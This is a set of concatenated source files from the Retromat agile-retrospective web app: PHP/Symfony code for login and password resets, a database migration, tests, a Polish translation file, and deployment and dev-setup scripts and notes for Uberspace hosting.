php index.php fr html ajax > backend/templates/home/generated/index_fr.html.twig
php index.php nl html ajax > backend/templates/home/generated/index_nl.html.twig
php index.php ja html ajax > backend/templates/home/generated/index_ja.html.twig
php index.php pl html ajax > backend/templates/home/generated/index_pl.html.twig
php index.php pt-br html ajax > backend/templates/home/generated/index_pt-br.html.twig
php index.php ru twig ajax > backend/templates/home/generated/index_ru.html.twig
php index.php zh html ajax > backend/templates/home/generated/index_zh.html.twig
php backend/bin/console cache:clear --no-warmup --env=prod
php backend/bin/console cache:warmup --env=prod
<file_sep><?php
$_lang['HTML_TITLE'] = 'Inspiracje i plany na Retrospektywy';
$_lang['INDEX_PITCH'] = 'Planujesz kolejną <b>retrospektywę</b> swojego agile-owego zespołu? Zacznij od losowego planu, pozmieniaj go i dostosuj do swojej sytuacji,
a następnie wydrukuj lub udostępnij unikalny adres URL. Albo po prostu przeglądaj dalej, zainspiruj się i stwórz własne pomysły!<br><br>Jeżeli to twoja pierwsza Retrospektywa to <a href="/blog/best-retrospective-for-beginners/">zacznij tutaj!</a>';
$_lang['INDEX_PLAN_ID'] = 'Plan ID:';
$_lang['INDEX_BUTTON_SHOW'] = 'Show!';
$_lang['INDEX_RANDOM_RETRO'] = 'Wylosuj kolejny plan na Retro';
$_lang['INDEX_SEARCH_KEYWORD'] = 'Szukaj po numerze ID lub słowie kluczowym';
$_lang['INDEX_ALL_ACTIVITIES'] = 'All activities for';
$_lang['INDEX_LOADING'] = '... WCZYTYWANIE ...';
$_lang['INDEX_NAVI_WHAT_IS_RETRO'] = '<a href="http://finding-marbles.com/retr-o-mat/what-is-a-retrospective/">Czy jest Retrospektywa?</a>';
$_lang['INDEX_NAVI_ABOUT'] = '<a href="http://finding-marbles.com/retr-o-mat/about-retr-o-mat/">O Retromacie</a>';
$_lang['INDEX_NAVI_PRINT'] = '<a href="/en/print">Wersja drukowana</a>';
$_lang['INDEX_NAVI_ADD_ACTIVITY'] = '<a href="https://docs.google.com/a/finding-marbles.com/spreadsheet/viewform?formkey=<KEY>">Dodaj pomysł na aktywość</a>';
if (is_output_format_twig($argv)) {
$_lang['INDEX_ABOUT'] = "{% include 'home/footer/footer.html.twig' %}";
} else {
$_lang['INDEX_ABOUT'] = 'Retromat zawiera <span class="js_footer_no_of_activities"></span> pomysłów, umożliwiających <span class="js_footer_no_of_combinations"></span> unikalnych kombinacji (<span class="js_footer_no_of_combinations_formula"></span>) i wciąż dodajemy nowe.'; // Masz własny pomysł albo znasz ciekawą grę na Retrospektywę?
}
$_lang['INDEX_ABOUT_SUGGEST'] = 'Prześlij ją do nas';
$_lang['INDEX_TEAM_TRANSLATOR_TITLE'] = 'Tłumaczenie ';
$_lang['INDEX_TEAM_TRANSLATOR_NAME'][0] = '<NAME>';
$_lang['INDEX_TEAM_TRANSLATOR_LINK'][0] = 'https://www.linkedin.com/in/jaroslawlojko/';
$_lang['INDEX_TEAM_TRANSLATOR_IMAGE'][0] = '/static/images/team/jaroslaw_lojko.png';
$_lang['INDEX_TEAM_TRANSLATOR_TEXT'][0] = <<<EOT
Jarek to pragmatyczny i wszechstronny Agile Coach z wieloletnim doświadczeniem w różnych branżach. Nigdy nie przestaje się uczyć i rozwijać zarówno siebie jak i tych z którymi pracuje. Autor popularnego bloga <a href="https://agileadept.pl">Agile Adept</a>.
EOT;
$_lang['INDEX_TEAM_CORINNA_TITLE'] = 'Stworzone przez ';
$_lang['INDEX_TEAM_CORINNA_TEXT'] = $_lang['INDEX_MINI_TEAM'] = <<<EOT
Gdy Corinna pełniła rolę Scrum Masterki marzyła o narzędziu takim jak Retromat.
W końcu zdecydowała się, że zbuduje je sama z nadzieją, że może być też przydatne dla innych.
Masz pytania, sugestie, zachęty?
Napisz <a href="mailto:<EMAIL>">wiadomość</a> lub
<a href="https://twitter.com/corinnabaldauf">śledź na Twitterze</a>.
Jeżeli podoba ci się Retromat, możesz także polubbić <a href="http://finding-marbles.com">Blog Corinny</a> oraz jej materiały na <a href="http://wall-skills.com">Wall-Skills.com</a>.
EOT;
$_lang['INDEX_TEAM_TIMON_TITLE'] = 'Współautor ';
$_lang['INDEX_TEAM_TIMON_TEXT'] = <<<EOT
Timon prowadzi <a href="/en/team/timon">Szkolenia Scrumowe</a>. Jako Integral Coach i <a href="/en/team/timon">Agile Coach</a> pracuje z kadrą zarządzającą, menedżerami, product ownerami and scrum masterami. Używa Retromatu od 2013, a od 2016 rozwija jego dodatkowe funkcjonalmności. Wyślij <a href="mailto:<EMAIL>">wiadomość do Timona</a> lub
<a href="https://twitter.com/TimonFiddike">śledź go na Twitterze</a>. Photo © Ina Abraham.
EOT;
$_lang['PRINT_HEADER'] = '(retromat.org)';
$_lang['ACTIVITY_SOURCE'] = 'Źródło:';
$_lang['ACTIVITY_PREV'] = 'Pokaż poprzednią aktywność';
$_lang['ACTIVITY_NEXT'] = 'Pokaż następną aktywność';
$_lang['ACTIVITY_PHOTO_ADD'] = 'Dodaj zdjęcie';
$_lang['ACTIVITY_PHOTO_MAIL_SUBJECT'] = 'Photos%20for%20Activity%3A%20ID';
$_lang['ACTIVITY_PHOTO_MAIL_BODY'] = 'Hi%20Corinna%21%0D%0A%0D%0A[%20]%20Photo%20is%20attached%0D%0A[%20]%20Photo%20is%20online%20at%3A%20%0D%0A%0D%0ABest%2C%0D%0AYour%20Name';
$_lang['ACTIVITY_PHOTO_VIEW_PHOTO'] = 'Pokaż zdjęcie';
$_lang['ACTIVITY_PHOTO_VIEW_PHOTOS'] = 'Pokaż zdjęcia';
$_lang['ACTIVITY_PHOTO_BY'] = 'Autor zdjęcia ';
$_lang['ERROR_NO_SCRIPT'] = 'Retromat relies heavily on JavaScript and doesn\'t work without it. Please enable JavaScript in your browser. Thanks!';
$_lang['ERROR_MISSING_ACTIVITY'] = 'Przepraszamy, nie możemy znaleźć aktywności o takim numerze ID.';
$_lang['POPUP_CLOSE'] = 'Zamknij';
$_lang['POPUP_IDS_BUTTON'] = 'Pokaż!';
$_lang['POPUP_IDS_INFO']= 'Przykładowe ID: 3-33-20-13-45';
$_lang['POPUP_SEARCH_BUTTON'] = 'Szukaj';
$_lang['POPUP_SEARCH_INFO']= 'Szukaj po tytule, podsumowaniu & opisie';
$_lang['POPUP_SEARCH_NO_RESULTS'] = 'Nie znaleziono';
<file_sep><?php
namespace App\Model\User;
use App\Entity\UserResetPasswordRequest;
use App\Entity\UserResetPasswordRequestInterface;
use App\Model\User\Exception\ExpiredUserResetPasswordTokenException;
use App\Model\User\Exception\InvalidUserResetPasswordTokenException;
use App\Model\User\Generator\UserResetPasswordTokenGenerator;
use App\Model\User\Model\UserResetPasswordToken;
use App\Model\User\Model\UserResetPasswordTokenComponents;
use App\Repository\UserResetPasswordRepository;
use Doctrine\ORM\EntityManagerInterface;
use Symfony\Component\Security\Core\User\UserInterface;
class UserResetPasswordManager
{
private UserResetPasswordTokenGenerator $userResetPasswordTokenGenerator;
private UserResetPasswordRepository $userResetPasswordRequestRepository;
private int $resetRequestLifetime;
private EntityManagerInterface $entityManager;
/**
* @param UserResetPasswordTokenGenerator $userResetPasswordTokenGenerator
* @param UserResetPasswordRepository $userResetPasswordRequestRepository
* @param EntityManagerInterface $entityManager
* @param int $resetRequestLifetime
*/
public function __construct(
UserResetPasswordTokenGenerator $userResetPasswordTokenGenerator,
UserResetPasswordRepository $userResetPasswordRequestRepository,
EntityManagerInterface $entityManager,
int $resetRequestLifetime
) {
$this->userResetPasswordTokenGenerator = $userResetPasswordTokenGenerator;
$this->userResetPasswordRequestRepository = $userResetPasswordRequestRepository;
$this->entityManager = $entityManager;
$this->resetRequestLifetime = $resetRequestLifetime;
}
/**
* @param UserInterface $user
* @return UserResetPasswordToken
* @throws \Exception
*/
public function generateUserResetPasswordToken(UserInterface $user): UserResetPasswordToken
{
$expiresAt = new \DateTimeImmutable(\sprintf('+%d seconds', $this->resetRequestLifetime));
$tokenComponents = $this->userResetPasswordTokenGenerator->generate(
$expiresAt,
$user
);
$userResetPasswordRequest = new UserResetPasswordRequest(
$user,
$expiresAt,
$tokenComponents->getSelector(),
$tokenComponents->getHashedToken()
);
$this->persist($userResetPasswordRequest);
return new UserResetPasswordToken(
$tokenComponents->getPublicToken(),
$expiresAt
);
}
/**
* @param string $fullToken
* @return UserInterface
* @throws ExpiredUserResetPasswordTokenException
* @throws InvalidUserResetPasswordTokenException
*/
public function validateTokenAndFetchUser(string $fullToken): UserInterface
{
if (UserResetPasswordTokenComponents::COMPONENTS_LENGTH*2 !== \strlen($fullToken)) {
throw new InvalidUserResetPasswordTokenException();
}
$resetRequest = $this->findUserResetPasswordRequest($fullToken);
if (null === $resetRequest) {
throw new InvalidUserResetPasswordTokenException();
}
if ($resetRequest->isExpired()) {
throw new ExpiredUserResetPasswordTokenException();
}
$user = $resetRequest->getUser();
$hashedVerifierToken = $this->userResetPasswordTokenGenerator->generate(
$resetRequest->getExpiresAt(),
$user,
\substr($fullToken, UserResetPasswordTokenComponents::COMPONENTS_LENGTH)
);
if (false === \hash_equals($resetRequest->getHashedToken(), $hashedVerifierToken->getHashedToken())) {
throw new InvalidUserResetPasswordTokenException();
}
return $user;
}
/**
* @param string $fullToken
* @throws InvalidUserResetPasswordTokenException
*/
public function deleteUserResetPasswordRequest(string $fullToken): void
{
$userResetPasswordRequest = $this->findUserResetPasswordRequest($fullToken);
if (null === $userResetPasswordRequest) {
throw new InvalidUserResetPasswordTokenException();
}
$this->userResetPasswordRequestRepository->deleteUserResetPasswordRequestByUser($userResetPasswordRequest->getUser());
}
/**
* @param UserResetPasswordRequestInterface $userResetPasswordRequest
* @throws \Exception
*/
public function persist(UserResetPasswordRequestInterface $userResetPasswordRequest): void
{
try {
$this->entityManager->persist($userResetPasswordRequest);
$this->entityManager->flush();
} catch (\Exception $exception) {
throw $exception;
}
}
/**
* @param string $token
* @return UserResetPasswordRequestInterface|null
*/
private function findUserResetPasswordRequest(string $token): ?UserResetPasswordRequestInterface
{
return $this->userResetPasswordRequestRepository->findOneBy(
[
'selector' => \substr($token, 0, UserResetPasswordTokenComponents::COMPONENTS_LENGTH)
]
);
}
/**
* @return void
*/
public function deleteExpiredResetRequests(): void
{
$this->userResetPasswordRequestRepository->deleteExpiredResetPasswordRequests($this->resetRequestLifetime);
}
}
<file_sep>#!/bin/bash
# go to repo
cd /var/www/virtual/retro2/retromat-deployments/retromat.git/
# get latest version from GitHub
git pull origin master
# install libs as specified in repo
composer install --working-dir=backend
# adapt database as specified in repo
php backend/bin/console doctrine:migrations:migrate --no-interaction
# (re-) generate templates from index.php
backend/bin/travis-ci/generate-templates-from-retromat-v1.sh
# clear activities from RAM
redis-cli -s /home/retro2/.redis/sock FLUSHALL
# clear and warmup compiled code, templates etc. from disk
php backend/bin/console cache:clear --no-warmup --env=prod
php backend/bin/console cache:warmup --env=prod
# clear and warmup compiled code, templates etc. from RAM
uberspace tools restart php
# warmup RAM loading a page via http
curl --silent --show-error --insecure https://retromat.org/en/ -o /dev/null
<file_sep><?php
declare(strict_types=1);
namespace DoctrineMigrations;
use Doctrine\DBAL\Schema\Schema;
use Doctrine\Migrations\AbstractMigration;
final class Version20170812201946 extends AbstractMigration
{
/**
* @param Schema $schema
* @throws \Doctrine\DBAL\Exception
*/
public function up(Schema $schema): void
{
// this up() migration is auto-generated, please modify it to your needs
$this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \'mysql\'.');
$this->addSql('CREATE TABLE activity2 (id INT AUTO_INCREMENT NOT NULL, retromat_id SMALLINT NOT NULL, `phase` SMALLINT NOT NULL, duration VARCHAR(255) DEFAULT NULL, source LONGTEXT DEFAULT NULL, more LONGTEXT DEFAULT NULL, suitable VARCHAR(255) DEFAULT NULL, UNIQUE INDEX UNIQ_91C772EEA9A6C442 (retromat_id), PRIMARY KEY(id)) DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci ENGINE = InnoDB');
$this->addSql('CREATE TABLE activity2translation (id INT AUTO_INCREMENT NOT NULL, translatable_id INT DEFAULT NULL, `name` VARCHAR(255) NOT NULL, summary VARCHAR(255) NOT NULL, `desc` LONGTEXT NOT NULL, locale VARCHAR(255) NOT NULL, INDEX IDX_C1A42852C2AC5D3 (translatable_id), UNIQUE INDEX activity2translation_unique_translation (translatable_id, locale), PRIMARY KEY(id)) DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci ENGINE = InnoDB');
$this->addSql('ALTER TABLE activity2translation ADD CONSTRAINT FK_C1A42852C2AC5D3 FOREIGN KEY (translatable_id) REFERENCES activity2 (id) ON DELETE CASCADE');
}
/**
* @param Schema $schema
* @throws \Doctrine\DBAL\Exception
*/
public function down(Schema $schema): void
{
// this down() migration is auto-generated, please modify it to your needs
$this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \'mysql\'.');
$this->addSql('ALTER TABLE activity2translation DROP FOREIGN KEY FK_C1A42852C2AC5D3');
$this->addSql('DROP TABLE activity2');
$this->addSql('DROP TABLE activity2translation');
}
}
<file_sep><?php
declare(strict_types=1);
namespace App\Tests\Controller;
use App\Tests\AbstractTestCase;
class RobotsControllerTest extends AbstractTestCase
{
public function testRobotsTxtDisallow()
{
$client = static::createClient();
$client->request(
'GET',
'/robots.txt',
array(),
array(),
array('HTTP_HOST' => 'redev01.canopus.uberspace.de')
);
$this->assertEquals(
<<<EOT
User-agent: *
Disallow: /
EOT,
$client->getResponse()->getContent()
);
$this->assertEquals('text/plain; charset=UTF-8', $client->getResponse()->headers->get('content-type'));
}
public function testRobotsTxtAllow()
{
$client = static::createClient();
$client->request(
'GET',
'/robots.txt',
array(),
array(),
array('HTTP_HOST' => 'retromat.org')
);
$this->assertEquals(
<<<EOT
User-agent: *
Disallow:
Crawl-delay: 1
Sitemap: https://retromat.org/sitemap.xml
EOT,
$client->getResponse()->getContent()
);
$this->assertEquals('text/plain; charset=UTF-8', $client->getResponse()->headers->get('content-type'));
}
}
<file_sep>Using an existing dev instance on Uberspace
========
Let's assume you don't need to make changes to backend or activities right now.
Then:
To see frontend-only changes:
Go to repo
```
cd /var/www/virtual/ ... /retromat.git/
```
Get latest version from GitHub
```
git pull origin master
```
if something is weird, check out:
```
git status
```
Cleanup:
```
git reset --hard
```
Maybe delete changed files manually, repeat steps named above.
(re-) generate templates from index.php
```
backend/bin/travis-ci/generate-templates-from-retromat-v1.sh
```
On a dev instance you can usually skip this step:
But do it if something is weird:
Clear and warmup compiled code, templates etc. from disk
```
php backend/bin/console cache:clear --no-warmup --env=prod
php backend/bin/console cache:warmup --env=prod
```
On a dev instance you can usually skip this step:
But do it if something is weird:
Clear and warmup compiled code, templates etc. from RAM
```
uberspace tools restart php
```
Everything should be totally fresh at this point.
Setting up a dev instance on Uberspace
========
* Register a new UberSpace https://uberspace.de/register
* Ensure the right (tm) version of PHP, see .travis.yml for which one you need, then activate that one on the new uberspace like this:
```
uberspace tools version use php 8.8
```
* Setup Redis service https://lab.uberspace.de/guide_redis.html
* OPTIONAL (you can import example activities instead, as described later): Obtain DB dump from live retromat.org (make a fresh dump of only retromat db, avoid blog and analytics DB ...), put it on the new space
```
# ssh <SpaceNameLive>@c....uberspace.de
mysqldump --defaults-file=/home/<SpaceNameLive>/.my.cnf --databases <SpaceNameLive>_retromat > <SpaceNameLive>_retromat.sql
# local
scp <SpaceNameLive>@c....uberspace.de:<SpaceNameLive>_retromat.sql .
scp <SpaceNameLive>_retromat.sql <SpaceNameDev>@can<EMAIL>.uberspace.de:
```
* OPTIONAL (you can import example activities instead, as described later): gunzip DB dump (if .gz), edit it and comment out "create db" and "use db" im present, then create new DB and import dump
```
# ssh <Space<EMAIL>>@can<EMAIL>.de
echo 'CREATE DATABASE <SpaceNameDev>_retromat'| mysql --defaults-file=/home/<SpaceNameDev>/.my.cnf
mysql --defaults-file=/home/<SpaceNameDev>/.my.cnf <SpaceNameDev>_retromat < <SpaceNameLive>_retromat.sql
```
* Clone git repo
```
cd /var/www/virtual/<SpaceNameDev>/
git clone git clone https://github.com/findingmarbles/Retromat.git retromat.git
```
* Copy .env as .env.local and edit to reflect properties of current space (db host: localhost, db password from ~/.my.cnf etc.)...
```
cd /var/www/virtual/<SpaceNameDev>/retromat.git/
cp backend/.env backend/.env.local
vim /var/www/virtual/<SpaceNameDev>/retromat.git/backend/.env.local
```
... (@TODO UPDATE THIS - WHERE TO CONFIGURE?) Create sessions dir and adjust path in parameters.yml
```
mkdir /var/www/virtual/<SpaceNameDev>/sessions
```
... set redis connection in .env.local
```
REDIS_URL="redis:///home/<SpaceNameDev>/.redis/sock"
```
* Install libraries (this will try to clear the cache, which can cause problems in an incomplete setup. In that case, re-run the command, if that doesn't help fix / continue, then redo this step later)
```
cd /var/www/virtual/<SpaceNameDev>/retromat.git/backend
composer install
```
* Set up the database structure (skip if you imported a full dump from live, see OPTIONAL step higher up)
```
bin/console doctrine:database:create
bin/console doctrine:migrations:migrate
```
* Import example content into the database (skip if you imported a full dump from live, see OPTIONAL step higher up)
```
bin/console retromat:import:activities
```
* Create templates from index.php
```
cd /var/www/virtual/<SpaceNameDev>/retromat.git/
backend/bin/travis-ci/generate-templates-from-retromat-v1.sh
```
* Make web directory visible
```
cd /var/www/virtual/<SpaceNameDev>
ln -s retromat.git/backend/web/ <SpaceNameDev>.uber.space
```
* And now this instance is availabe here: https://<SpaceNameDev>.uber.space/robots.txt
# Clear caches so you can see changes
* Re-generate Twig templates from index.php - technically speaking not really a cache, but something you need to clear manually in order to get to see your changes
```
cd /var/www/virtual/<SpaceNameDev>/retromat.git/
backend/bin/travis-ci/generate-templates-from-retromat-v1.sh
```
* You can clear actual caches on the server like this:
```
cd /var/www/virtual/<SpaceNameDev>/retromat.git/backend
bin/console cache:clear --no-warmup --env=prod
bin/console cache:clear --no-warmup --env=dev
redis-cli -s /home/<SpaceNameDev>/.redis/sock FLUSHALL
```
* We allow browser caching for HTML and assets (JS, CSS), so you may need to clear your browser cache as well. Some browsers allow disabling caches while the developer tools are open.
# Bypass some caches on dev instance for easier development
Make your dev activities easier by bypassing some caches and using the Symfony debug toolbar. This can be achieved using the dev environment that comes with Symfony: Edit .env.local as follows:
```
APP_ENV=dev
```
# Debug
* See here for lowlevel PHP logs (may be empty, as most are handeled by Symfony)
https://manual.uberspace.de/web-logs/#error-log-php
~/logs/error_log_php
* See here for Symfony logs
/var/www/virtual/<SpaceNameDev>/retromat.git/backend/var/logs
# Run all tests
```
cd /var/www/virtual/<username>/retromat.git/backend
vendor/bin/simple-phpunit
```
<file_sep><?php
namespace App\Tests\Twig;
use App\Model\Twig\ColorVariation;
use PHPUnit\Framework\TestCase;
class ColorVariationTest extends TestCase
{
public function testNextColor()
{
$colorVariation = new ColorVariation();
$colorCode = $colorVariation->nextColor();
for ($i = 1; $i < 100; $i++) {
$previousColorCode = $colorCode;
$colorCode = $colorVariation->nextColor();
$this->assertNotEquals($colorCode, $previousColorCode, 'In iteration '.$i.'.');
}
}
}
<file_sep><?php
namespace App\Security;
use App\Repository\UserRepository;
use Symfony\Component\HttpFoundation\RedirectResponse;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
use Symfony\Component\Security\Core\Security;
use Symfony\Component\Security\Http\Authenticator\AbstractLoginFormAuthenticator;
use Symfony\Component\Security\Http\Authenticator\Passport\Badge\CsrfTokenBadge;
use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
use Symfony\Component\Security\Http\Authenticator\Passport\Credentials\PasswordCredentials;
use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
use Symfony\Component\Security\Http\Util\TargetPathTrait;
class UserAuthenticator extends AbstractLoginFormAuthenticator
{
use TargetPathTrait;
public const LOGIN_ROUTE = 'user_login';
public const AUTHENTICATION_SUCCESS_ROUTE = 'team_dashboard';
private UrlGeneratorInterface $urlGenerator;
private UserRepository $userRepository;
/**
* @param UrlGeneratorInterface $urlGenerator
* @param UserRepository $userRepository
*/
public function __construct(UrlGeneratorInterface $urlGenerator, UserRepository $userRepository)
{
$this->urlGenerator = $urlGenerator;
$this->userRepository = $userRepository;
}
/**
* @param Request $request
* @return Passport
*/
public function authenticate(Request $request): Passport
{
$username = $request->request->get('username', '');
$request->getSession()->set(Security::LAST_USERNAME, $username);
return new Passport(
new UserBadge($username, function ($userIdentifier) {
return $this->userRepository->findOneBy(
[
'username' => $userIdentifier,
'enabled' => 1
]
);
}),
new PasswordCredentials($request->request->get('password', '')),
[
new CsrfTokenBadge(
'authenticate',
$request->request->get('_csrf_token')
),
]
);
}
/**
* @param Request $request
* @param TokenInterface $token
* @param string $firewallName
* @return Response|null
*/
public function onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response
{
if ($targetPath = $this->getTargetPath($request->getSession(), $firewallName)) {
return new RedirectResponse($targetPath);
}
return new RedirectResponse($this->urlGenerator->generate(self::AUTHENTICATION_SUCCESS_ROUTE));
}
/**
* @param Request $request
* @return string
*/
protected function getLoginUrl(Request $request): string
{
return $this->urlGenerator->generate(self::LOGIN_ROUTE);
}
}
<file_sep><?php
namespace App\Model\Importer\Activity\Hydrator;
use App\Entity\Activity;
final class ActivityHydrator
{
/**
* @param array $inputArray
* @param Activity $activity
* @return Activity
*/
public function hydrateFromArray(array $inputArray, Activity $activity): Activity
{
foreach ($inputArray as $property => $value) {
$activity->{'set'.$property}($value);
}
return $activity;
}
}
<file_sep>FROM httpd:2.4
COPY ./backend/docker/httpd/config/default.conf /usr/local/apache2/conf/httpd.conf
<file_sep><?php
namespace App\Model\Plan\Exception;
class InconsistentInputException extends \Exception
{
}
<file_sep><?php
declare(strict_types=1);
namespace App\Tests\Plan;
use App\Model\Plan\Exception\InconsistentInputException;
use App\Model\Plan\Exception\NoGroupLeftToDrop;
use App\Model\Plan\TitleChooser;
use App\Model\Plan\TitleRenderer;
use PHPUnit\Framework\TestCase;
use Symfony\Component\Yaml\Yaml;
class TitleChooserIntegrationTest extends TestCase
{
/**
* @throws NoGroupLeftToDrop
* @throws InconsistentInputException
*/
public function testRenderTitleSingleChoice()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: [Agile]
1: [Retro]
2: [Plan]
de:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: [Agiler]
1: [Retro]
2: [Plan]
YAML;
$titleParts = Yaml::parse($yaml);
$titleRenderer = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $titleRenderer);
$this->assertEquals('Agile Retro Plan: 1-2-3-4-5', $chooser->renderTitle('1-2-3-4-5'));
}
/**
* @throws NoGroupLeftToDrop
* @throws InconsistentInputException
*/
public function testRenderTitleSingleChoiceDe()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: [Agile]
1: [Retro]
2: [Plan]
de:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: [Agiler]
1: [Retro]
2: [Plan]
YAML;
$titleParts = Yaml::parse($yaml);
$titleRenderer = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $titleRenderer);
$this->assertEquals('Agiler Retro Plan: 1-2-3-4-5', $chooser->renderTitle('1-2-3-4-5', 'de'));
}
/**
* @throws NoGroupLeftToDrop
* @throws InconsistentInputException
*/
public function testRenderTitleEmptyUnless5Activities()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: [Agile]
1: [Retro]
2: [Plan]
de:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: [Agiler]
1: [Retro]
2: [Plan]
YAML;
$titleParts = Yaml::parse($yaml);
$title = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $title);
$this->assertEquals('', $chooser->renderTitle('1-2-3-4'));
$this->assertEquals('', $chooser->renderTitle('1-2-3-4-5-6'));
}
/**
* @throws NoGroupLeftToDrop
* @throws InconsistentInputException
*/
public function testRenderTitleEmptyUnless5ActivitiesDe()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: [Agile]
1: [Retro]
2: [Plan]
de:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: [Agiler]
1: [Retro]
2: [Plan]
YAML;
$titleParts = Yaml::parse($yaml);
$title = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $title);
$this->assertEquals('', $chooser->renderTitle('1-2-3-4', 'de'));
$this->assertEquals('', $chooser->renderTitle('1-2-3-4-5-6', 'de'));
}
/**
* @throws NoGroupLeftToDrop
* @throws InconsistentInputException
*/
public function testChooseTitleIdEmptyUnless5Activities()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: [Agile, Scrum, Kanban, XP]
1: [Retro, Retrospective]
2: [Plan, Agenda]
de:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: [Agiler]
1: [Retro]
2: [Plan]
YAML;
$titleParts = Yaml::parse($yaml);
$title = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $title);
$this->assertEquals('', $chooser->chooseTitleId('1'));
$this->assertEquals('', $chooser->chooseTitleId('1-2-3-4'));
$this->assertEquals('', $chooser->chooseTitleId('1-2-3-4-5-6'));
}
/**
* @throws NoGroupLeftToDrop
* @throws InconsistentInputException
*/
public function testChooseTitleIdEmptyUnless5ActivitiesDe()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: [Agile, Scrum, Kanban, XP]
1: [Retro, Retrospective]
2: [Plan, Agenda]
de:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: [Agiler]
1: [Retro]
2: [Plan]
YAML;
$titleParts = Yaml::parse($yaml);
$title = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $title);
$this->assertEquals('', $chooser->chooseTitleId('1', 'de'));
$this->assertEquals('', $chooser->chooseTitleId('1-2-3-4', 'de'));
$this->assertEquals('', $chooser->chooseTitleId('1-2-3-4-5-6', 'de'));
}
/**
* @throws NoGroupLeftToDrop
* @throws InconsistentInputException
*/
public function testChooseTitleIdCorrectFormat()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: [Agile, Scrum, Kanban, XP]
1: [Retro, Retrospective]
2: [Plan, Agenda]
de:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: [Agiler]
1: [Retro]
2: [Plan]
YAML;
$titleParts = Yaml::parse($yaml);
$title = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $title);
$titleId = $chooser->chooseTitleId('1-2-3-4-5');
$idStringParts = \explode(':', $titleId);
$sequenceId = $idStringParts[0];
$this->assertTrue(\is_numeric($sequenceId));
$fragmentIdsString = $idStringParts[1];
$this->assertStringContainsString('-', $fragmentIdsString);
$fragmentIds = \explode('-', $fragmentIdsString);
$this->assertTrue(\is_array($fragmentIds));
foreach ($fragmentIds as $fragmentId) {
$this->assertTrue(\is_numeric($fragmentId));
}
}
/**
* @throws NoGroupLeftToDrop
* @throws InconsistentInputException
*/
public function testChooseTitleIdCorrectFormatDe()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: [Agile, Scrum, Kanban, XP]
1: [Retro, Retrospective]
2: [Plan, Agenda]
de:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: [Agiler]
1: [Retro]
2: [Plan]
YAML;
$titleParts = Yaml::parse($yaml);
$title = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $title);
$titleId = $chooser->chooseTitleId('1-2-3-4-5', 'de');
$idStringParts = \explode(':', $titleId);
$sequenceId = $idStringParts[0];
$this->assertTrue(\is_numeric($sequenceId));
$fragmentIdsString = $idStringParts[1];
$this->assertStringContainsString('-', $fragmentIdsString);
$fragmentIds = \explode('-', $fragmentIdsString);
$this->assertTrue(\is_array($fragmentIds));
foreach ($fragmentIds as $fragmentId) {
$this->assertTrue(\is_numeric($fragmentId));
}
}
/**
* @throws NoGroupLeftToDrop
* @throws InconsistentInputException
*/
public function testChooseTitleIdDifferentPlansGetDifferentTitles()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2]
1: [ 1, 2]
2: [0, 1 ]
groups_of_terms:
0: [Agile, Scrum, Kanban, XP]
1: [Retro, Retrospective]
2: [Plan, Agenda]
de:
sequence_of_groups:
0: [0, 1, 2]
1: [ 1, 2]
2: [0, 1 ]
groups_of_terms:
0: [Agiler, Scrum, Kanban, XP]
1: [Retro, Retrospective]
2: [Plan, Ablaufplan]
YAML;
$titleParts = Yaml::parse($yaml);
$title = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $title);
$titleId1 = $chooser->chooseTitleId('1-2-3-4-5');
$titleId2 = $chooser->chooseTitleId('1-2-3-4-6');
$this->assertNotEquals($titleId2, $titleId1);
$titleId2 = $chooser->chooseTitleId('1-2-3-4-7');
$this->assertNotEquals($titleId2, $titleId1);
}
/**
* @throws NoGroupLeftToDrop
* @throws InconsistentInputException
*/
public function testChooseTitleIdDifferentPlansGetDifferentTitlesDe()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2]
1: [ 1, 2]
2: [0, 1 ]
groups_of_terms:
0: [Agile, Scrum, Kanban, XP]
1: [Retro, Retrospective]
2: [Plan, Agenda]
de:
sequence_of_groups:
0: [0, 1, 2]
1: [ 1, 2]
2: [0, 1 ]
groups_of_terms:
0: [Agiler, Scrum, Kanban, XP]
